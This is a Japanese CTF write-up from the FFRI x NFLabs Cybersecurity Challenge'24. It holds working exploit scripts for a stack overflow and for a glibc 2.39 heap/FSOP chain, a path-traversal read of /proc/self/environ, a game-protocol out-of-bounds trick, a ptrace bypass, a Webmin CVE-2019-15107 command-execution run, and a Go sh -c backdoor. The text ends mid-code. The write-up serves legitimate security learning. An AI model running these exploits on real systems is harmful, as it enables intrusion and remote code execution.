はじめに
FFRI Security x NFLabs. Cybersecurity Challenge'24に参加しました。結果は3位でした。開催期間が3日以上と長く、早解きが苦手でも十分多くの問題に取り組むことができました。今回は解くことができた順にWriteupを書いていこうと思います。
solveの時系列は以下の通りです。1日目と3, 4日目に主に取り組んでいました。4日目もそこそこ挑んではいたのですが、solveには繋がらなかったです。

[Easy] io tutorial (Binary Exploitation) 12 solves
2時間ちょい遅れで、ctfに参戦。とりあえず、pwnから解いていくことに。
#include <limits.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char *MESSAGES[] = { "! ! ! ! welcome ! ! ! !\n", "8 8 8 8 welcome 8 8 8 8\n", "WELCOME WELCOME WELCOME\n", }; __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(120); } void win() { puts("WIN!!"); execve("/bin/sh", NULL, NULL); exit(0); } void readn(char *buf, size_t size) { for (int i = 0; i < size; i++) { read(0, buf + i, 1); if (buf[i] == '\n') { buf[i] = '\0'; return; } } // drop trailing '\n' getchar(); } int readint() { // read only 2 chars, so returns -9 to 99 I guess! char buf[0x10]; readn(buf, 2); return atoi(buf); } void greet() { char message[25]; printf("greeting message? (1 ~ 3) > "); int which = readint(); if (which < 1 || which > 3) { printf("invalid!"); exit(1); } strncpy(message, MESSAGES[which - 1], strlen(MESSAGES[which - 1]) + 1); printf("%s", message); } int main() { greet(); printf("input size > "); int size = readint(); // readint may returns negative number. if (size < 0) { size = 0; } // size is 99 at most, but to be safe, // the buffer size is set to 0x100 (== 256). // it can't be overflow! char input[0x100]; printf("input > "); read(0, input, size); printf("your input: %s\n", input); return 0; }
greet()で選んだmessage文字列を表示し、その後readint()で入力したサイズ分をbufferに入力して出力するプログラムです。
readint()での入力は2byteに制限されているが、NULL終端されていません。
messageの文字列のバッファとmain関数でcallするreadint()のバッファが被っており、0埋めもされないので、"8 8 8 8 welcome 8 8 8 8\n"の8を使えばreadint()に0x100より大きい値を返させることが可能です。
あとは、stack based BOFでwin関数を呼べば終わり。messageの文字列を複数用意している部分で、偶然では解けないようにという作問者の意図を感じました。
from ptrlib import * elf = ELF('./io-tutorial') #io = Process('./io-tutorial') io = remote('10.0.102.92', 1234) io.sendline('2') io.sendline('99') io.sendline(100 * p64(elf.symbol('win'))) io.interactive()
[Hard] brownian heap (Binary Exploitation) 4 solves
MediumのCupで少し詰まってしまったので、こちらを解くことに。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #define N 10000 void brownian_heap() { unsigned char buf[N]; char *p[N] = {0}; uint32_t nof_deletes = 0; uint32_t delete_idx[2 * N] = {0}; FILE *fp = fopen("/dev/urandom", "r"); if (!fp) exit(1); if (1 > fread(&nof_deletes, sizeof(uint32_t), 1, fp)) exit(2); nof_deletes = ((nof_deletes % N) + (N / 100)); if (nof_deletes > fread(delete_idx, sizeof(uint32_t), nof_deletes, fp)) exit(2); if (N > fread(buf, sizeof(char), N, fp)) exit(2); fclose(fp); size_t x = 0; for (size_t i = 0; i < N; i++) { if (buf[i]) { size_t size = (((size_t) buf[i]) + 1) << 1; p[x++] = malloc(size); if (!p[x - 1]) continue; memset(p[x - 1], 0xff, size); } } for (uint32_t i = 0; i < nof_deletes; i++) { uint32_t idx = delete_idx[i] % N; free(p[idx]); p[idx] = NULL; } for (size_t i = 0; i < N; i++) { buf[i] = 0; p[i] = NULL; } for (size_t i = 0; i < nof_deletes; i++) { delete_idx[i] = 0; } nof_deletes = 0; } void aar(const char *p) { int32_t offset = 0; if (!p) { printf("Error!\n"); return; } printf("Offset: "); scanf("%x", &offset); printf("Value: %zx\n", *(size_t *) (p + offset)); } void aaw(const char *p) { int32_t offset = 0; if (!p) { printf("Error!\n"); return; } printf("Offset: "); scanf("%x", &offset); printf("Data: "); scanf("%zx", (size_t *) (p + offset)); } int main(void) { alarm(120); int cmd = 0; int i = 6000; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); brownian_heap(); char *p = (char *) malloc(1); char *p1 = NULL; printf("p=%p\n", p); while (i--) { printf("cmd: "); scanf("%d", &cmd); switch (cmd) { case 0: goto BYE; case 1: aar(p); break; case 2: aaw(p); break; case 3: if (p1) { printf("free!\n"); free(p1); p1 = NULL; } else { printf("Error!\n"); } break; case 4: if (!p1) { printf("malloc!\n"); p1 = (char *) malloc(1); } else { printf("Error!\n"); } break; case 5: aar(p1); break; case 6: aaw(p1); break; default: printf("Invalid command\n"); break; } } BYE: printf("Bye!\n"); free(p); if (p1) free(p1); return 0; }
malloc(1)で確保するpとp1を起点としてintの範囲でaarとaawができるという問題設定です。ただし、brownian_heap関数で、heapの状態がrandomにfreeされていて、pとp1の取られる場所が固定ではありません。
pのアドレスは実行時に教えてくれます。また、pとp1は同じサイズのchunkであり、確保されるときにchunkの初期化を行わないので、aar(p)のoffset 0を指定すると、p1の確保されたアドレスを特定できます。
pとp1のアドレスが手に入り、aarとaawも渡されている、ということでheap feng shuiの始まりです。
まずはlibc address leakをする必要があります。p1のsizeをfake sizeに書き換えた後に、p1をfreeしてunsorted binsに繋げ、pからのaarでunsorted binsのbkからlibcのアドレスを読み出せば良いです。fake sizeは、p1からのaarでsizeのメタデータを探すことで都合の良い値を特定できます。
また、あらかじめaar(p1)のoffset 0で現在のtcache binsの先頭にあるアドレスを読み出しておけば、次にmallocするp1のアドレスを知ることができます。
#!/usr/bin/env python3 from ptrlib import * elf = ELF('./brown') libc = ELF('./libc.so.6') #libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6') io = Process('./brown') #io.debug = True #io = remote('10.0.102.232', 1827) p_addr = int(io.recvline()[2:], 16) print("[+] heap addr = " + hex(p_addr)) def bye(): io.sendlineafter(": ", '0') return def aar_p(off): io.sendlineafter(": ", '1') io.sendlineafter(": ", hex(off)) return int(b"0x" + io.recvline()[7:], 16) def aaw_p(off, data): io.sendlineafter(": ", '2') io.sendlineafter(": ", hex(off)) io.sendlineafter(": ", hex(data)) return def free_p1(): io.sendlineafter(": ", '3') return def malloc_p1(): io.sendlineafter(": ", '4') return def aar_p1(off): io.sendlineafter(": ", '5') io.sendlineafter(": ", hex(off)) return int(b"0x" + io.recvline()[7:], 16) def aaw_p1(off, data): io.sendlineafter(": ", '6') io.sendlineafter(": ", hex(off)) io.sendlineafter(": ", hex(data)) return p1_addr = aar_p(0) ^ (p_addr >> 12) print("[+] p1 addr = " + hex(p1_addr)) print("[+] p1 size = " + hex(aar_p(p1_addr-p_addr-8))) malloc_p1() free_p1() malloc_p1() assert(aar_p(p1_addr-p_addr) == (aar_p1(0))) next_p1 = aar_p1(0) ^ (p1_addr >> 12) meta_off = 0 for i in range(0x420//16, 0x800//16): val = aar_p1(i * 16 + 8) if (val < 0x1000 and val & 1): meta_off = i * 16 + 8 break fake_size = meta_off + 8 aaw_p(p1_addr-p_addr-8, fake_size+1) print(hex(aar_p(p1_addr-p_addr-8))) free_p1() #input("> ") unsorted_bk = aar_p(p1_addr-p_addr+8) libc.base = unsorted_bk - 0x203b20# /usr/lib/x86_64-linux-gnu/libc.so.6 print("[+] libc addr = " + hex(libc.base))
libcのアドレスがleakできました。次は、libcの領域にchunkを確保することを考えます。これは、tcache poisoningで実現できます。
具体的には、まず、p1をmallocしてfreeします。p1のアドレスが分かっているので、pからのaawを使ってfreeした領域のtcacheのnextを書き換えた後に、もう一度mallocをすれば任意のアドレスにchunkを確保できます。今回は、FSOPのために、_IO_2_1_stderr_の上の領域に確保しました。
後は、p1のaawでFSOPをするだけです。といっても解くのにかかった時間の大半はここに費やしています。というのも、今回のサーバー側のlibcが2.39だったので、libc2.35との微妙な違いのせいで、使いまわしていたFSOPのpayloadが刺さらなかったのです。
libc 2.39は_IO_2_1_stdin_だけなぜか_IO_2_1_stderr_, _IO_2_1_stdout_とは少し離れたメモリ領域にマップされていたりと、libc 2.35との不思議な違いがありますが、特にFile構造体の0x88のエントリの扱いが変わっていました。
ここでは、原因に深く立ち入ることはしません。(実際CTF中は、原因について間違った理解をしていました)
ただ、Exploitの上で重要なことは、0x88にもvalidなアドレスを書き込んでおくことです。_IO_2_1_stderr_を書き換えた後は、tcache poisoningで確保したchunkがfreeされる際にSIGSEGVが起きないよう、sizeなどのmetaデータを書き換えてからexitすれば、シェルを取れます。
#!/usr/bin/env python3 from ptrlib import * elf = ELF('./brown') libc = ELF('./libc.so.6') #libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6') io = Process('./brown') #io.debug = True #io = remote('10.0.102.232', 1827) p_addr = int(io.recvline()[2:], 16) print("[+] heap addr = " + hex(p_addr)) def bye(): io.sendlineafter(": ", '0') return def aar_p(off): io.sendlineafter(": ", '1') io.sendlineafter(": ", hex(off)) return int(b"0x" + io.recvline()[7:], 16) def aaw_p(off, data): io.sendlineafter(": ", '2') io.sendlineafter(": ", hex(off)) io.sendlineafter(": ", hex(data)) return def free_p1(): io.sendlineafter(": ", '3') return def malloc_p1(): io.sendlineafter(": ", '4') return def aar_p1(off): io.sendlineafter(": ", '5') io.sendlineafter(": ", hex(off)) return int(b"0x" + io.recvline()[7:], 16) def aaw_p1(off, data): io.sendlineafter(": ", '6') io.sendlineafter(": ", hex(off)) io.sendlineafter(": ", hex(data)) return p1_addr = aar_p(0) ^ (p_addr >> 12) print("[+] p1 addr = " + hex(p1_addr)) print("[+] p1 size = " + hex(aar_p(p1_addr-p_addr-8))) malloc_p1() free_p1() malloc_p1() assert(aar_p(p1_addr-p_addr) == (aar_p1(0))) next_p1 = aar_p1(0) ^ (p1_addr >> 12) meta_off = 0 for i in range(0x420//16, 0x800//16): val = aar_p1(i * 16 + 8) if (val < 0x1000 and val & 1): meta_off = i * 16 + 8 break fake_size = meta_off + 8 aaw_p(p1_addr-p_addr-8, fake_size+1) free_p1() unsorted_bk = aar_p(p1_addr-p_addr+8) libc.base = unsorted_bk - 0x203b20# /usr/lib/x86_64-linux-gnu/libc.so.6 print("[+] libc addr = " + hex(libc.base)) malloc_p1() assert(aar_p(next_p1-p_addr) == (aar_p1(0))) p1_addr = next_p1 print("[+] p1 addr = " + hex(p1_addr)) print("[+] p1 size = " + hex(aar_p(p1_addr-p_addr-8))) free_p1() # tcache poisoning aaw_p(p1_addr-p_addr, (libc.symbol('_IO_2_1_stderr_') - 0x30) ^ (p1_addr >> 12)) malloc_p1() meta_off = 0 for i in range(0x420//16, 0x800//16): val = aar_p1(i * 16 + 8) if (val < 0x1000 and val & 1): meta_off = i * 16 + 8 break fake_size = meta_off + 8 aaw_p(p1_addr-p_addr-8, fake_size+1) free_p1() #input("> ") malloc_p1() # return libc region chunk #io.debug = True assert(aar_p1(0x30) == 0xfbad2087) payload = p32(0xfbad0101) + b";sh\0" payload += p64(0) * 10 payload += p64(libc.symbol("system")) payload += p64(0) * 5 payload += p64(libc.base - 0x205710 + 0x40ae20) payload += p64(0) * 2 payload += p64(libc.symbol("_IO_2_1_stderr_") - 0x10) payload += p64(0) * 3 payload += p32(1) + p32(0) + p64(0) payload += p64(libc.symbol("_IO_2_1_stderr_") - 0x10) payload += p64(libc.symbol('_IO_wfile_jumps') + 0x18 - 0x58) for i in range(0, len(payload) // 8): aaw_p1(0x30 + i*8, u64(payload[i*8:i*8+8])) aaw_p1(0x28, 0x31) aaw_p1(-0x8, 0x21) bye() io.interactive()
[Easy] Path to Secret (Web Exploitation) 25 solves
registerし、loginすると、ファイルをダウンロードできるようになります。
ダウンロードリンクはhttp://10.0.102.137:8092/download?file=aaa.txtのような形。
サーバのファイル名はserver.pyと問題文で共有されており、結構solve数も出ていたので、ディレクトリトラバーサルでファイルをダウンロードできるんじゃないかなと予想し、その通りでした。http://10.0.102.137:8092/download?file=../server.pyでダウンロードできます。
app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY")
以上のようなSECRET_KEYにFlagがあるとのことなので、/proc/self/environからFlagを含んだファイルをダウンロードすれば良いです。
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=126fa7d94e06DATABASE_URI=mysql://root:password@mysql-server/dataSECRET_KEY=flag{992daabd454669829130c2ca679748c8}LANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_VERSION=3.11.9PYTHON_PIP_VERSION=24.0PYTHON_SETUPTOOLS_VERSION=65.5.1PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/66d8a0f637083e2c3ddffc0cb1e65ce126afb856/public/get-pip.pyPYTHON_GET_PIP_SHA256=6fb7b781206356f45ad79efbb19322caa6c2a5ad39092d0d44d0fec94117e118HOME=/rootWERKZEUG_SERVER_FD=3WERKZEUG_RUN_MAIN=true%
[Medium] Cup (Binary Exploitation) 5 solves
ゲームのクライアントのバイナリのみが渡されます。
name, IP, portを指定すると部屋を作成でき、passwordを設定していないと、FFRAIユーザーが対戦に参加してくるので、勝てば相手の敗北メッセージにFLAGが含まれているらしい。
n * nのサイズのボードにあるドリンクを交互に毎ターン最大n-1個まで飲み干していき、ちょうど全て飲み干せたプレーヤーが勝利というゲームです。以下は、3のboardサイズを指定した時の盤面。Fが飲み干す前、Nが飲み干した後です。

ルームを作成した側が、必ず先攻になるので、真面目に戦うと必ず負けます。毎回サーバー接続から飲み干す際の入力までをクライアントバイナリ経由で行うのは面倒なので、パケットをキャプチャしてimitateした通信をpythonから送れるようにします。

ざっくり、行われている通信を説明します。
- ボードサイズ、ユーザー名、パスワードを送信 -> 相手の情報を受け取る
- 飲み干す個数、座標を送り合う (末尾には
Pを付加し、相手からの入力を受け取った際にも\x00Pを送る) - ゲームが終了したと判定したら、相互に
Qを送信しあう - winメッセージ、loseメッセージを送り合い終了
#!/usr/bin/env python3 from ptrlib import * io = remote('10.0.102.91', 1440) io.debug = True io.send(b"\x03\x00\x00\x00") # board num io.send(b"AAAAAAAA" + p64(0) + p8(0) * 8 + p64(0) * 3) # user info def pack_x_y(x, y): return p8(x) + p8(y) def dec_pac_x_y(data): return int(data[0]), int(data[1]) payload = b"" payload += pack_x_y(0, 1) payload += pack_x_y(0, 2) payload += b"P" io.recvuntil("FFRAI") io.send(p32(2)) # drink num io.send(payload) io.send(p8(0)) io.send(b"P") io.recvuntil(b"\x02\x00\x00\x00") x1, y1 = dec_pac_x_y(io.recv(2)) x2, y2 = dec_pac_x_y(io.recv(2)) payload = b"" payload += pack_x_y(int(input()), int(input())) payload += b"P" io.send(p32(1)) io.send(payload) io.send(p8(0)) io.send(b"P") io.recvuntil(b"\x02\x00\x00\x00") x1, y1 = dec_pac_x_y(io.recv(2)) x2, y2 = dec_pac_x_y(io.recv(2)) io.interactive()
この問題で、かなり詰まったのですが、server側の実装がブラックボックスだったのが原因でした。しばらくの間、送った通信が完全に相手クライアントに届くものとして、脆弱性を探しExploitを組んでいたのですが、よく分からない挙動をされて困っていました。
例えば、バイナリには飲み干す個数のチェックなどはありませんでした。先攻で一気に全部飲み干せるじゃんと気づき、実際に手元バイナリに通信を与えてみると、全て飲み干し勝つことができました。しかしながら、サーバーに送ると勝手に接続を切られてしまいます。
運営にclarを投げたところ、確かにFFRAIユーザーは同様のバイナリを使っているという回答をいただき、謎だな〜と言いながら、1日目は終了しました。cupでうんうん言っている間にkeymoonさんが爆速でbinary exploitationを全完しており、他のジャンル別の賞も無理そうということで一旦ゆっくりすることに。2日目の深夜に再開した時に、サーバーがvalidな通信かチェックしてるぽいと漸く気づきます。
サーバー側の実装は分かりませんが、ルームのパスワードを設定すると、手元でもう一つ起動したクライアントバイナリから接続して、対戦をすることができます。これにより、手元から送った通信が、相手のクライアントに届く条件を確認することができます。無限に試行錯誤した結果、座標がboardのサイズを超えているかどうかはチェックをされておらず、相手クライアントにそのまま届くことがわかりました。 クライアントの座標を受け取る処理を確認します。
sVar6 = recv(sock,&local_14c,4,0); // <- drinkする個数 if (sVar6 != 4) { LAB_0010232a: wclear(stdscr); pcVar11 = "Failed to recv opponent\'s input"; goto LAB_0010233d; } if (local_14c != 0) { unaff_RBX = (undefined *)0x0; do { unaff_RBP = (uint *)(__ptr + (long)unaff_RBX * 2); sVar6 = recv(uVar5,(void *)((long)unaff_RBP + 1),1,0); if ((sVar6 != 1) || (sVar6 = recv(uVar5,unaff_RBP,1,0), sVar6 != 1)) goto LAB_0010232a; uVar9 = (int)unaff_RBX + 1; unaff_RBX = (undefined *)(ulong)uVar9; } while (uVar9 < local_14c); if (local_14c != 0) { uVar7 = 0; unaff_RBP = &board; do { // boardを起点に座標分移動させた場所のアドレスを得る。 pcVar11 = (char *)((ulong)((byte)(__ptr + uVar7 * 2)[1] * board + (uint)(byte)__ptr[uVar7 * 2]) + DAT_001063f8); unaff_RBX = __ptr; if (*pcVar11 == '\0') { // そのアドレスに"\0"が入っているかどうかをチェック local_14d = 7; send(sock,&local_14d,1,0); wclear(stdscr); pcVar11 = "Invalid board status"; goto LAB_0010233d; } *pcVar11 = '\0'; // "\0"以外が入っていたら、飲み干していないということで、"\0"を格納 (飲み干す) uVar5 = (int)uVar7 + 1; uVar7 = (ulong)uVar5; } while (uVar5 < local_14c); } }
バイナリでは、座標がboardのサイズに含まれているかのチェックはありません。ボード外のメモリ領域で、\x00以外の値が入っている場所を指定すると、そこで飲み干し回数を消費できます。つまり、盤面上はパスをして相手に手番を渡すことができます。
gef> x/2gx &board 0x55555555a3f0 <board>: 0x0000000000000003 0x0000555555652320 <- boardのサイズと盤面のアドレス gef> x/2gx &0x0000555555652320 Attempt to take address of value not located in memory. gef> x/32gx 0x0000555555652320 0x555555652320: 0x0101010100010100 0x0000000000000001 <- 先頭9byteが3 * 3の盤面に対応 (0がN, 1がF) 0x555555652330: 0x0000000000000000 0x0000000000000021 0x555555652340: 0x0000000555550201 0x0000000000000000 <-ここら辺の0でない場所に対応するよう、座標を指定 0x555555652350: 0x0000000000000000 0x0000000000000021 0x555555652360: 0x000055555564a564 0x0000000000000000 0x555555652370: 0x00005555556524c0 0x00000000000000b1 0x555555652380: 0x0000555555652430 0x0000000900000000
このようにして、一手パスをした後にゲームに勝てばFlagを得られます。そのためのスクリプトを書くのは面倒なので、パスした後は、手動で座標を打ち込みました。
#!/usr/bin/env python3 from ptrlib import * io = remote('10.0.102.91', 1440) io.debug = True io.send(b"\x03\x00\x00\x00") # board num io.send(b"AAAAAAAA" + p64(0) + p8(0) * 8 + p64(0) * 3) def pack_x_y(x, y): return p8(x) + p8(y) def dec_pac_x_y(data): return int(data[0]), int(data[1]) payload = b"" payload += pack_x_y(8, 8) payload += pack_x_y(8, 9) payload += b"P" io.recvuntil("FFRAI") io.send(p32(2)) io.send(payload) io.send(p8(0)) io.send(b"P") io.recvuntil(b"\x02\x00\x00\x00") x1, y1 = dec_pac_x_y(io.recv(2)) x2, y2 = dec_pac_x_y(io.recv(2)) payload = b"" payload += pack_x_y(int(input()), int(input())) payload += b"P" io.send(p32(1)) io.send(payload) io.send(p8(0)) io.send(b"P") io.recvuntil(b"\x02\x00\x00\x00") x1, y1 = dec_pac_x_y(io.recv(2)) x2, y2 = dec_pac_x_y(io.recv(2)) payload = b"" payload += pack_x_y(int(input()), int(input())) payload += b"P" io.send(p32(1)) io.send(payload) io.send(p8(0)) io.send(b"P") io.recvuntil(b"\x02\x00\x00\x00") x1, y1 = dec_pac_x_y(io.recv(2)) x2, y2 = dec_pac_x_y(io.recv(2)) payload = b"" payload += pack_x_y(int(input()), int(input())) io.send(p32(1)) io.send(payload) io.send(b'Q') io.send(p8(0) * 0x100) io.interactive()
[+] __init__: Successfully connected to 10.0.102.244:1440
[+] send: Sent 0x4 (4) bytes:
00000000 03 00 00 00 |....|
[+] send: Sent 0x30 (48) bytes:
00000000 41 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 |AAAAAAAA........|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
[+] recv: Received 0x1 (1) bytes:
00000000 00 |.|
[+] recv: Received 0x4 (4) bytes:
00000000 00 00 00 00 |....|
[+] recv: Received 0x15 (21) bytes:
00000000 03 00 00 00 01 46 46 52 41 49 00 00 00 00 00 00 |.....FFRAI......|
00000010 00 00 00 00 00 |.....|
[+] send: Sent 0x4 (4) bytes:
00000000 02 00 00 00 |....|
[+] send: Sent 0x5 (5) bytes:
00000000 08 08 08 09 50 |....P|
[+] send: Sent 0x1 (1) bytes:
00000000 00 |.|
[+] send: Sent 0x1 (1) bytes:
00000000 50 |P|
[+] recv: Received 0x1 (1) bytes:
00000000 00 |.|
[+] recv: Received 0x1 (1) bytes:
00000000 50 |P|
[+] recv: Received 0x9 (9) bytes:
00000000 02 00 00 00 00 02 00 00 50 |........P|
0
1
[+] send: Sent 0x4 (4) bytes:
00000000 01 00 00 00 |....|
[+] send: Sent 0x3 (3) bytes:
00000000 00 01 50 |..P|
[+] send: Sent 0x1 (1) bytes:
00000000 00 |.|
[+] send: Sent 0x1 (1) bytes:
00000000 50 |P|
[+] recv: Received 0x1 (1) bytes:
00000000 00 |.|
[+] recv: Received 0x1 (1) bytes:
00000000 50 |P|
[+] recv: Received 0x9 (9) bytes:
00000000 02 00 00 00 02 01 02 02 50 |........P|
2
0
[+] send: Sent 0x4 (4) bytes:
00000000 01 00 00 00 |....|
[+] send: Sent 0x3 (3) bytes:
00000000 02 00 50 |..P|
[+] send: Sent 0x1 (1) bytes:
00000000 00 |.|
[+] send: Sent 0x1 (1) bytes:
00000000 50 |P|
[+] recv: Received 0x1 (1) bytes:
00000000 00 |.|
[+] recv: Received 0x1 (1) bytes:
00000000 50 |P|
[+] recv: Received 0x9 (9) bytes:
00000000 02 00 00 00 01 02 01 00 50 |........P|
1
1
[+] send: Sent 0x4 (4) bytes:
00000000 01 00 00 00 |....|
[+] send: Sent 0x2 (2) bytes:
00000000 01 01 |..|
[+] send: Sent 0x1 (1) bytes:
00000000 51 |Q|
[+] send: Sent 0x100 (256) bytes:
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
[ptrlib]$ P[ptrlib]$ [+] recv: Received 0x1 (1) bytes:
00000000 00 |.|
\x00[ptrlib]$ [+] recv: Received 0x1 (1) bytes:
00000000 51 |Q|
Q[ptrlib]$ [+] recv: Received 0x100 (256) bytes:
00000000 66 00 00 00 6c 00 00 00 61 00 00 00 67 00 00 00 |f...l...a...g...|
00000010 7b 00 00 00 50 00 00 00 57 00 00 00 4e 00 00 00 |{...P...W...N...|
00000020 5f 00 00 00 74 00 00 00 6f 00 00 00 5f 00 00 00 |_...t...o..._...|
00000030 57 00 00 00 49 00 00 00 4e 00 00 00 21 00 00 00 |W...I...N...!...|
00000040 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |}...............|
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
3日目の早朝に漸くsolveできました
[Easy] Swifty (Misc) 4 solves
swiftで作られた、elfバイナリらしいです。パスワードを入力すると、正誤の判定が行われます。とりあえず、straceで確認すると、ptraceで落ちるのでそれを無効化してデバッグします。
import gdb
gdb.execute('gef')
gdb.execute('b ptrace')
gdb.execute('r')
gdb.execute('fin')
gdb.execute('set $rax=0')
ptraceを実行した後に、raxの値を0にすればptraceで落とされずに実行できます。
catch syscallなどを駆使して、そのまま動的解析をしていると、$sSasSQRzlE2eeoiySbSayxG_ABtFZs5UInt8V_Tgm5という関数で比較されるバイト列がFlagぽいことが分かります。
gef> x/32gx 0x00005555555580a0 0x5555555580a0 <$s6Swifty4mainyyFTv_+8>: 0x00007ffff7cf5820 0x80000004ffffffff 0x5555555580b0 <$s6Swifty4mainyyFTv_+24>: 0x0000000000000020 0x0000000000000040 0x5555555580c0 <$s6Swifty4mainyyFTv_+40>: 0x81c82e73305cb6ea 0x84f23b66664ea8bf 0x5555555580d0 <$s6Swifty4mainyyFTv_+56>: 0x87dd6857235bb3fb 0x8ac3296e084eebd3 gef> x/32gx 0x000055555556d370 0x55555556d370: 0x00007ffff7cf5820 0x0000000000000003 0x55555556d380: 0x0000000000000020 0x0000000000000070 0x55555556d390: 0x9cc637633c56b1e7 0x9cc637633c56b1e7 0x55555556d3a0: 0x9cc637633c56b1e7 0x9cc637633c56b1e7
0x9cc637633c56b1e7は"kkkkkkkk"を入力した際に出てきた文字列で、何らかの特定の値とxorされているぽいです。(swiftの何かの仕様かな?)
gef> p 0x6b6b6b6b6b6b6b6b ^ 0x9cc637633c56b1e7 $5 = 0xf7ad5c08573dda8c
この0xf7ad5c08573dda8cを比較している文字列バイト列にxorして元のFlagの文字列を確認すると、Flagが出てきます。
>>> p64(0xf7ad5c08573dda8c ^ 0x81c82e73305cb6ea) b'flag{rev' >>> p64(0xf7ad5c08573dda8c ^ 0x84f23b66664ea8bf) b'3rs1ng_s' >>> p64(0xf7ad5c08573dda8c ^ 0x87dd6857235bb3fb) b'wift_4pp' >>> p64(0xf7ad5c08573dda8c ^ 0x8ac3296e084eebd3) b'_1s_fun}'
[Easy] WebAdmin (Pentest) 29 solves
いっぱいsolveが出ていたのに、手こずった問題です。とりあえず、nmapから。
$ nmap -sV 10.0.102.143 Starting Nmap 7.94 ( https://nmap.org ) at 2024-10-06 18:44 JST Nmap scan report for 10.0.102.143 Host is up (0.017s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) 10000/tcp open http MiniServ 1.920 (Webmin httpd) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 41.09 seconds
これまで、Pentest系の問題を解いたことがなく、バージョン固有のCVEのPoCを回すイメージだったので、OpenSSH 8.2, nginx 1.18.0、Webmin 1.920の脆弱性を探していました。
opensshとnginxは特に使えそうなCVEがなく、一方でWebminはCVE-2019-15107とCVE-2019-15642が使えそうと思い、詳しく調べていました。
CVE-2019-15642はWebminにログインできている状態じゃないと使えなさそうなので、CVE-2019-15107を使うことに。しかし、PoCが全然刺さりませんでした。
まず、発見者ぽい、以下のブログのmetasploitモジュールを実行してみるも、Reverse Shellが起動されず。(一体どうして?)
https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
以下のPoCもnot vulnerableと出て刺さりませんでした。
https://github.com/ruthvikvegunta/CVE-2019-15107
しょうがないので、詳細を確認して自分でcurlしてみるも何故かうまくいかず。
PoCのリポジトリにたまーにバックドアが仕込まれているという話は何回か目にしたことがあり、適宜動かす前にPoCのコードに変なものが入っていないか全てのコードを確認していたので、1つのPoCを試すのにいちいち手間がかかりとても面倒でした。実際にpentestしている人は、これらも工数に入っているんでしょうかね。今回は、長期間のCTFだったので時間をかける余裕がありましたが、短期間のCTFのPentestでCVEを使う系の問題を出すのは危ないかもなと思いました。時間に追われて被害に遭うプレイヤーが出そうな気がします。
最終的には、以下のリポジトリのPoCが刺さりました。oldのパラメータの部分に|とコマンドを渡せば実行できるというのは同じなのに、なんで上のやつはダメだったのか不思議ですね。
https://github.com/jas502n/CVE-2019-15107
python CVE_2019_15107.py http://10.0.102.143:10000 "cat /root/root.txt"
_______ _______ _______ _______ __ _____ __ _______ __ _______ ______
( ____ \|\ /|( ____ \ / ___ )( __ )/ \ / ___ \ / \ ( ____ \/ \ ( __ )/ ___ \
| ( \/| ) ( || ( \/ \/ ) || ( ) |\/) ) ( ( ) ) \/) ) | ( \/\/) ) | ( ) |\/ ) )
| | | | | || (__ / )| | / | | | ( (___) | | | | (____ | | | | / | / /
| | ( ( ) )| __) _/ / | (/ /) | | | \____ | | | (_____ \ | | | (/ /) | / /
| | \ \_/ / | ( / _/ | / | | | | ) | | | ) ) | | | / | | / /
| (____/\ \ / | (____/\ ( (__/\| (__) |__) (_/\____) ) __) (_/\____) )__) (_| (__) | / /
(_______/ \_/ (_______/_____\_______/(_______)\____/\______/_____\____/\______/ \____/(_______) \_/
(_____) (_____)
python By jas502n
vuln_url= http://10.0.102.143:10000/password_change.cgi
Command Result = flag{Expl01t_CVE-2019-15107}
[Medium] Board (Misc) 8 solves
/threadsと/repliesにGETやPOSTをすることで、スレッドを作成し、そこにリプライすることができる、SNSを模したWebアプリケーションです。
バックドアは明確で、cache.goにあります。
func validateData(data interface{}) interface{} { replies, ok := data.([]models.Reply) if ok { reply := replies[0] createdTime := reply.CreatedAt currentTime := time.Now() diff := currentTime.Sub(createdTime) if diff.Seconds() < 2 { value := reply.Content out, err := exec.Command("sh", "-c", value).CombinedOutput() res := fmt.Sprintf("%s, %v", out, err) replies[0].Content = res } } return replies }
replyが作成された後、2秒以内にそのリプライのcacheにアクセスすれば、contentの内容をsh -cに渡して実行してくれるらしいです。replyがcacheにセットされる条件はGetReplies関数にあります。
func GetReplies(w http.ResponseWriter, r *http.Request) { replyCache.ClearOldItems(3) threadID := r.URL.Query().Get("thread_id") cacheKey := "replies_" + threadID if cachedItem, found := replyCache.Get(cacheKey); found { w.Header().Set("Content-Type", "application/json") response := cachedItem.(*cache.CacheItem).Data json.NewEncoder(w).Encode(response) return } rows, err := database.DB.Query("SELECT id, thread_id, content, created_at FROM replies WHERE thread_id = ?", threadID) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } defer rows.Close() var replies []models.Reply for rows.Next() { var reply models.Reply var createdAt string if err := rows.Scan(&reply.ID, &reply.ThreadID, &reply.Content, &createdAt); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } 